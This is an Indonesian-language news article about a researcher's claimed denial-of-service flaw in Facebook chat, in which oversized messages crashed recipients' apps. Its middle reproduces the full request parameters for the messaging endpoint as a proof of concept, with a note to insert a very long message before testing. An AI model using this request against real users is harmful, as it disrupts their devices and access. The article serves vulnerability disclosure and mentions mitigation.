Peneliti keamanan Chris C Russo mengklaim telah menemukan cara dengan menggunakan modul chatting Facebook untuk meluncurkan serangan denial-of-service (DOS) terhadap pengguna manapun, bahkan jika tidak berteman dengan penyerang sekalipun.

Russo mengungkapkan bahwa serangan itu mirip dengan yang pernah diluncurkan melalui MSN messenger. Sejumlah besar paket dikirim ke target, menyebabkan aplikasi mengalami crash. "Modul chatting yang pada saat itu sudah tidak dapat saya gunakan karena sepertinya saya telah diblokir setelah mengujinya. Tidak ada jenis batasan dalam jumlah karakter yang dapat dikirim," jelasnya.

"Memungkinkan untuk mendisconnect 3 user penguji yang berbeda (3 dari 3) dengan mengirimkan pesan yang cukup besar. Salah satunya melaporkan bahwa tabletnya restart setelah penerimaan, dan tidak memungkin lagi untuk membuka aplikasi Facebook lagi, karena log chatting akan tetap tersimpan dan itu akan membuat crash aplikasi lagi" tambahnya

Menunut peneliti, serangan DOS  memungkinkan karena parameter di http://www.facebook.com/ajax/mercury/send_messages.php

message_batch[0][action_type]=ma-type%3Auser-generated-message
&message_batch[0][thread_id]
&message_batch[0][author]=fbid%3A100000000000000
&message_batch[0][author_email]
&message_batch[0][coordinates]
&message_batch[0][timestamp]=1352175498252
&message_batch[0][timestamp_absolute]=Today
&message_batch[0][timestamp_relative]=1%3A19am
&message_batch[0][is_unread]=false
&message_batch[0][is_cleared]=false
&message_batch[0][is_forward]=false
&message_batch[0][spoof_warning]=false
&message_batch[0][source]=source%3Achat%3Aweb
&message_batch[0][source_tags][0]=source%3Achat
&message_batch[0][body]=%3C<EXTREMLY LONG MESSAGE HERE>%3E
&message_batch[0][has_attachment]=false
&message_batch[0][html_body]=false
&
&message_batch[0][specific_to_list][0]=fbid%3A126000000
&message_batch[0][specific_to_list][1]=fbid%3A100000000000000
&message_batch[0][status]=0
&message_batch[0][message_id]=%3C1352175400000%3A3112200000-1080509979%40mail.projektitan.com%3E
&
&message_batch[0][client_thread_id]=user%3A1263600000
&client=mercury
&__user=100001220521369
&__a=1
&fb_dtsg=AQDT8YAC
&phstamp=1658168845689000000000

(Properly replace the <EXTREMLY LONG MESSAGE HERE> before testing)

Dia telah mengungkapkan bahwa serangan ini dapat dikurangi dengan menganalisis length parameter sebelum mengirimkan informasi ke pengguna. "Secara pribadi saya percaya bahwa pasti ada sesuatu yang salah juga dengan token XSRF, karena memungkinkan saya untuk mengirim beberapa paket dengan menggunakan cara yang sama yang awalnya saya ekstrak" tulis Russo pada Seclist.org

Ahli tersebut mengklaim bahwa kerentanan ini telah ia temukan sejak dulu, tapi Facebook butuh waktu 6 minggu untuk membalas laporannya dan hanya mengatakan kepada Russo bahwa "tidak ada cacat sama sekali".

Sumber: Seclists.org